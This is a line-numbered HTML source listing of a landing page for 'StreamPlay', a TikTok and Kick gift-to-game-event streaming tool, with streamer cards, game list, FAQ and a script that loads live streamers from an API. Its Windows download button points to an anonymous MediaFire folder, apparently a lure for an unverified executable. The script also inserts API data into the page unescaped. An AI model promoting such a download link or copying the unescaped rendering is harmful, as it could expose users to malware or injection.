416      <a class="live-card" href="https://www.tiktok.com/@masanaaa_/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>230</span><div class="av-wrap"><div class="av-ring"></div><img class="av a5" src="https://p16-common-sign.tiktokcdn.com/tos-alisg-avt-0068/8d3cdbc55153035be898b54457e014fe~tplv-tiktokx-cropcenter:168:168.jpeg?dr=14577&refresh_token=4921f728&x-expires=1786780800&x-signature=J0cF2gARdfCojeRmTkQwWj297Uw%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=8aecc5ac&idc=my2" alt="@masanaaa_" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@masanaaa_</div><div class="game-row"><span class="dot"></span><span>PvZFusion</span></div><span class="cta-mini">View &rarr;</span></a>
417      <a class="live-card" href="https://www.tiktok.com/@crescent1991/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>218</span><div class="av-wrap"><div class="av-ring"></div><img class="av a6" src="https://p16-common-sign.tiktokcdn-eu.com/tos-alisg-avt-0068/b2934f08f3e34bbb65f42f176b216c09~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=4506af7d&x-expires=1786694400&x-signature=hjOWNrYUW2hfp9K7DnadjiShkoA%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@crescent1991" loading="lazy" />
417<span class="badge free">FREE</span></div><div class="handle">@crescent1991</div><div class="game-row"><span class="dot"></span><span>GTA5</span></div><span class="cta-mini">View &rarr;</span></a>
418    </div>
419    <div class="live-more">
420      <button class="btn btn-outline" onclick="document.getElementById('live').scrollIntoView({behavior:'smooth'})">View all streamers</button>
421    </div>
422  </div>
423</section>
424
425<section id="games" style="background: var(--bg2);">
426  <div class="container">
427    <div class="section-head">
428      <div class="tag">03 — Games &amp; mods</div>
429      <h2>Unique mods for the games your viewers know</h2>
430      <p>Every supported title ships with community presets and its own trigger library. Most mods are free to try.</p>
431    </div>
432    <div class="games-grid">
433      <a class="game-tile game-tile--minecraft" href="#" data-game="minecraft">
434        <span class="corner hot">🔥 Most popular</span>
435        <div class="overlay">
436          <h4>Minecraft</h4>
437          <div class="meta"><span class="dot"></span>12 events · Free + premium plugins</div>
438        </div>
439      </a>
440      <a class="game-tile game-tile--gta5" href="#" data-game="gta5">
441        <div class="overlay">
442          <h4>GTA V</h4>
443          <div class="meta"><span class="dot"></span>5 events · NPC · KOTH</div>
444        </div>
445      </a>
446      <a class="game-tile game-tile--rdr2" href="#" data-game="rdr2">
447        <div class="overlay">
448          <h4>Red Dead 2</h4>
449          <div class="meta"><span class="dot"></span>Chaos mod · Weather · Viewer NPCs</div>
450        </div>
451      </a>
452      <a class="game-tile game-tile--witcher3" href="#" data-game="witcher3">
453        <div class="overlay">
454          <h4>The Witcher 3</h4>
455          <div class="meta"><span class="dot"></span>Monster spawns · Weather · Debuffs</div>
456        </div>
457      </a>
458      <a class="game-tile game-tile--eldenring" href="#" data-game="elden-ring">
459        <div class="overlay">
460          <h4>Elden Ring</h4>
461          <div class="meta"><span class="dot"></span>Boss spawns · God mode · Transforms</div>
462        </div>
463      </a>
464      <a class="game-tile game-tile--roblox" href="#" data-game="roblox">
465        <div class="overlay">
466          <h4>Roblox</h4>
467          <div class="meta"><span class="dot"></span>KOTH · Parkour · Sky Rush</div>
468        </div>
469      </a>
470      <a class="game-tile game-tile--re4" href="#" data-game="resident-evil-4">
471        <div class="overlay">
472          <h4>Resident Evil 4</h4>
473          <div class="meta"><span class="dot"></span>Enemy spawns · God mode · FX</div>
474        </div>
475      </a>
476      <a class="game-tile game-tile--7days" href="#" data-game="7daystodie">
477        <div class="overlay">
478          <h4>7 Days to Die</h4>
479          <div class="meta"><span class="dot"></span>Hordes · Weather · Traps</div>
480        </div>
481      </a>
482      <a class="game-tile game-tile--left4dead2" href="#" data-game="left4dead2">
483        <div class="overlay">
484          <h4>Left 4 Dead 2</h4>
485          <div class="meta"><span class="dot"></span>Hordes · Tank · Witch</div>
486        </div>
487      </a>
488      <a class="game-tile game-tile--smsim" href="#" data-game="supermarket-simulator">
489        <div class="overlay">
490          <h4>Supermarket Simulator</h4>
491          <div class="meta"><span class="dot"></span>Viewer NPCs · Shoplifters · Chaos</div>
492        </div>
493      </a>
494      <a class="game-tile game-tile--repo" href="#" data-game="repo">
495        <div class="overlay">
496          <h4>R.E.P.O.</h4>
497          <div class="meta"><span class="dot"></span>27 events · Sabotage · Chaos</div>
498        </div>
499      </a>
500      <a class="game-tile see-all" href="#">
501        <div class="inner">
502          <span class="num">56</span>
503          <span class="lbl">See all games</span>
504        </div>
505      </a>
506    </div>
507  </div>
508</section>
509
510<section id="features">
511  <div class="container">
512    <div class="section-head">
513      <div class="tag">04 — Features</div>
514      <h2>Three layers between gift and game</h2>
515      <p>Presets bind events to in-game actions. Alerts let viewers interrupt you with paid events. Overlays show your audience exactly what every gift does.</p>
516    </div>
517    <div class="features">
518      <div class="feat">
519        <div class="ic">🎛️</div>
520        <h3>Presets</h3>
521        <p>
521Build a preset, or grab a ready-made one. It's your list of "if this gift, do this in-game" rules. Up to 50 events on PRO, 100 on Expert. Switch in real time, share with friends, edit during the stream.</p>
522        <img class="fimg" src="images/home/features/presets.webp" alt="Preset demo">
523        <ul>
524          <li>50 events / preset on PRO, 100 on Expert</li>
525          <li>For Minecraft, use classic server commands</li>
526          <li>For GTA V / RDR2, pick from the function library</li>
527          <li>Test every event with a single click - no need to be live</li>
528        </ul>
529      </div>
530      <div class="feat">
531        <div class="ic">🚨</div>
532        <h3>Alerts + Interrupts</h3>
533        <p>Viewers can interrupt you, for a price. A gift queues an alert that overrides the current preset, plays a sound, and lets the gifter steer the next moment.</p>
534        <img class="fimg" src="images/home/features/alerts.webp" alt="Alert demo">
535        <ul>
536          <li>Per-gift interrupt rules with priority</li>
537          <li>Cooldowns to prevent chaos cascades</li>
538          <li>Custom sound + on-screen alert per trigger</li>
539        </ul>
540      </div>
541      <div class="feat">
542        <div class="ic">🖼️</div>
543        <h3>Overlays</h3>
544        <p>An overlay that explains every gift. Auto-generated for each preset and served as a link - drop it into TikTok Live Studio and it updates in real time as you edit.</p>
545        <img class="fimg" src="images/home/features/overlay-preset.webp" alt="Overlay demo">
546        <ul>
547          <li>3 overlay templates + description-only mode</li>
548          <li>PRO/Expert: custom colors, sizes, borders</li>
549          <li>Updates instantly as you edit your preset</li>
550        </ul>
551      </div>
552      <div class="feat">
553        <div class="ic">🗣️</div>
554        <h3>Chat voiceover</h3>
555        <p>Your chat, read out loud. Text-to-Speech reads incoming TikTok chat and gift notes over your stream - pick a voice, set per-event triggers, mute on demand.</p>
556        <img class="fimg" src="images/home/features/chat-voiceover.webp" alt="Chat voiceover demo">
557        <ul>
558          <li>Multilingual voices, swappable per preset</li>
559          <li>Per-gift trigger rules + cooldowns</li>
560          <li>Mute hotkey and on-screen badge while speaking</li>
561        </ul>
562      </div>
563    </div>
564  </div>
565</section>
566
567<section>
568  <div class="container">
569    <div class="cta">
570      <h2>Stop just streaming. Start <span style="color:var(--lime)">earning</span>.</h2>
571      <p>Your viewers want to play. Five minutes to set up. Free forever. Every gift becomes a button your audience presses - no extra app or signup for them.</p>
572<button class="btn btn-gold btn-lg" onclick="window.open('https://mediafire.com/folder/z2h0qjwf2uo6a','_blank')">Free for Windows</button>
573      <div class="small">Join Discord (7.9k) • FAQ • Support</div>
574    </div>
575  </div>
576</section>
577
578<section id="faq">
579  <div class="container">
580    <div class="section-head">
581      <div class="tag">FAQ</div>
582      <h2>Quick answers</h2>
583    </div>
584    <div class="faq">
585      <details open>
586        <summary>Which platforms does StreamPlay work with?</summary>
587        <p>TikTok Live and Kick. Both work on every plan - TikTok routes gifts, likes and follows through in ~80 ms; Kick handles gifts, subscriptions and follows. Expert tier lets you run both at the same time.</p>
588      </details>
589      <details>
590        <summary>Will I get banned from TikTok or Kick for using this?</summary>
591        <p>No. We only read public event APIs - no modification of your stream, your viewers or your account.</p>
592      </details>
593      <details>
594        <summary>What do I need to start streaming?</summary>
595        <p>Windows 10 or 11, ~8 GB RAM and a recent GPU. TikTok requires Live permission (1,000+ followers); Kick has no follower threshold.</p>
596      </details>
597      <details>
598        <summary>Where does the money come from?</summary>
599        <p>The platform pays you directly. TikTok sends you your share of gift revenue like any normal Live. Kick pays $1.00 per 100 coins received as gifts via web after 5 streamed hours.</p>
600      </details>
601      <details>
602        <summary>What's the difference between Server, Browser and Socket?</summary>
603        <p>Three ways the app subscribes to your TikTok event stream. Server is the default - fastest, but seats are shared. Browser opens a TikTok window that must stay open for the entire stream. Socket is a direct WebSocket route, useful if Server is congested.</p>
604      </details>
605    </div>
606  </div>
607</section>
608
609<footer>
610  <div class="container footer-inner">
611    <div class="logo" style="font-size:17px">Stream<b>Play</b> <span class="muted">— TikTok interactive games for live streamers</span></div>
612    <div class="footer-links">
613      <a href="#how">Docs</a>
614      <a href="#faq">FAQ</a>
615      <a href="#">Discord</a>
616    </div>
617  </div>
618</footer>
619<script type="text/javascript" src="//cdn.livetrafficfeed.com/static/online-tab/live.js?ali=left&amp;pos=middle&amp;ro=0"></script>
619<noscript><a href="https://livetrafficfeed.com/live-visitor-count">Website Online Counter</a></noscript>
620</body>
621</html>
622<script>
623(function () {
624  var AV = ['a1', 'a2', 'a3', 'a4', 'a5', 'a6'];
625  function fmt(n) {
626    n = Number(n) || 0;
627    if (n >= 1000) return (n / 1000).toFixed(n >= 10000 ? 0 : 1).replace(/\.0$/, '') + 'K';
628    return String(n);
629  }
630  function tierBadge(t) {
631    t = String(t || 'free').toLowerCase();
632    if (t === 'pro') return '<span class="badge pro">PRO</span>';
633    if (t === 'expert') return '<span class="badge">EXPERT</span>';
634    return '<span class="badge free">FREE</span>';
635  }
636  function card(l, i) {
637    var user = l.platformName === 'Kick' ? (l.kickChannelSlug || '') : (l.tiktokUsername || '');
638    var handle = '@' + (user || 'unknown');
639    var game = l.game || 'Unknown';
640    var av = l.avatar
641      ? '<img class="av ' + AV[i % 6] + '" src="' + l.avatar + '" alt="' + handle + '" loading="lazy" />'
642      : '<div class="av ' + AV[i % 6] + '">A</div>';
643    var href = l.platformName === 'Kick'
644      ? 'https://kick.com/' + (l.kickChannelSlug || '')
645      : 'https://www.tiktok.com/@' + (user || '') + '/live';
646    return '<a class="live-card" href="' + href + '" target="_blank" rel="noopener">'
647      + '<span class="live-dot">LIVE</span>'
648      + '<span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>' + fmt(l.viewerCount) + '</span>'
649      + '<div class="av-wrap"><div class="av-ring"></div>' + av + tierBadge(l.userType) + '</div>'
650      + '<div class="handle">' + handle + '</div>'
651      + '<div class="game-row"><span class="dot"></span><span>' + game + '</span></div>'
652      + '<span class="cta-mini">View &rarr;</span></a>';
653  }
654  fetch('https://api.streamtoearn.io/apiserver/users/live-free')
655    .then(function (r) { return r.ok ? r.json() : Promise.reject(); })
656    .then(function (data) {
657      if (!Array.isArray(data) || data.length === 0) return;
658      data.sort(function (a, b) { return (Number(b.viewerCount) || 0) - (Number(a.viewerCount) || 0); });
659      var grid = document.getElementById('liveGrid');
660      if (grid) grid.innerHTML = data.slice(0, 12).map(card).join('');
661      var count = document.querySelector('.hero-stats .stat:nth-child(3) .num');
662      if (count) count.textContent = String(data.length);
663    })
664    .catch(function () {});
665})();
666</script>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.